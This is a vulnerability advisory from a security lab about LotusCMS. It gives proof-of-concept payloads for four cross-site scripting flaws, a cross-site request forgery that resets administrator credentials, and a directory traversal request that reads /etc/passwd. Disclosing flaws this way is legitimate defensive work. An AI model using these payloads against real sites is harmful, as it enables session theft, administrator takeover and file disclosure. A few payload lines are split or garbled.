Multiple Vulnerabilities in LotusCMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in LotusCMS which can be exploited to perform cross-site scripting and cross-site request forgery attacks and gain access to sensitive information.

1) Cross-site scripting (XSS) vulnerabilities in LotusCMS
1.1 The vulnerability exists due to input sanitation error in the "title" parameter in core/model/GeneralSettingsModel.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/index.php?system=GeneralSettings&page=edit" method="post" name="main">
<input type="hidden" name="title" value='Lotus CMS"><script>alert(document.cookie)</script>'>
</form>
<script>
document. main.submit();
</script >
1.2 The vulnerability exists due to input sanitation error in the "seodescription" parameter in core/model/SEOModel.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/index.php?system=SEO&page=edit" method="post" name="main">
<input type="hidden" name="seokeywords" value="LotusCMS">
<input type="hidden" name="seodescription" value='description"><script>alert(document.cookie)</script>'>
</form>
<scr ipt>
document.main.subm it();
</script>
1.3 The vulnerability exists due to input sanitation error in the "title" parameter in modules/Menu/MenuModuleAdmin.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/index.php?system=Modules&page=admin&active=Menu&req=save &id=3" method="post" name="main">
<input type="hidden" name="title" value='lotus"><script>alert(document.cookie)</script>'>
<input type="hidden" name="external" value="http://host">
</form>
<script>
document.main.submit();
</script>
1.4 The vulnerability exists due to input sanitation error in the "page" parameter in core/model/PageModel.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/index.php?page=%00"><script>alert(document.cookie)</script>

2) Cross-site request forgery (CSRF) in LotusCMS
The vulnerability exists due to insufficient validation of the request origin in core/model/UsersModel.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/index.php?system=Users&page=edit&active=USERNAME" method="post" name="main">
<input type="hidden" name="name" value="test">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="password1" value="">
<input type="hidden" name="password2" value="">
<input type="hidden" name="access" value="administrator">
</form>
<script>
document.main.submit();
</script >

3) Directory traversal vulnerability in LotusCMS
The vulnerability exists due to insufficient validation of input data in the "page" parameter in core/model/PageModel.php. A remote attacker can create a specially crafted HTTP request containing directory traversal sequences with NULL byte and read arbitrary files on the target system.
Exploitation example:
http://host/index.php?page=./../../../../../etc/passwd%00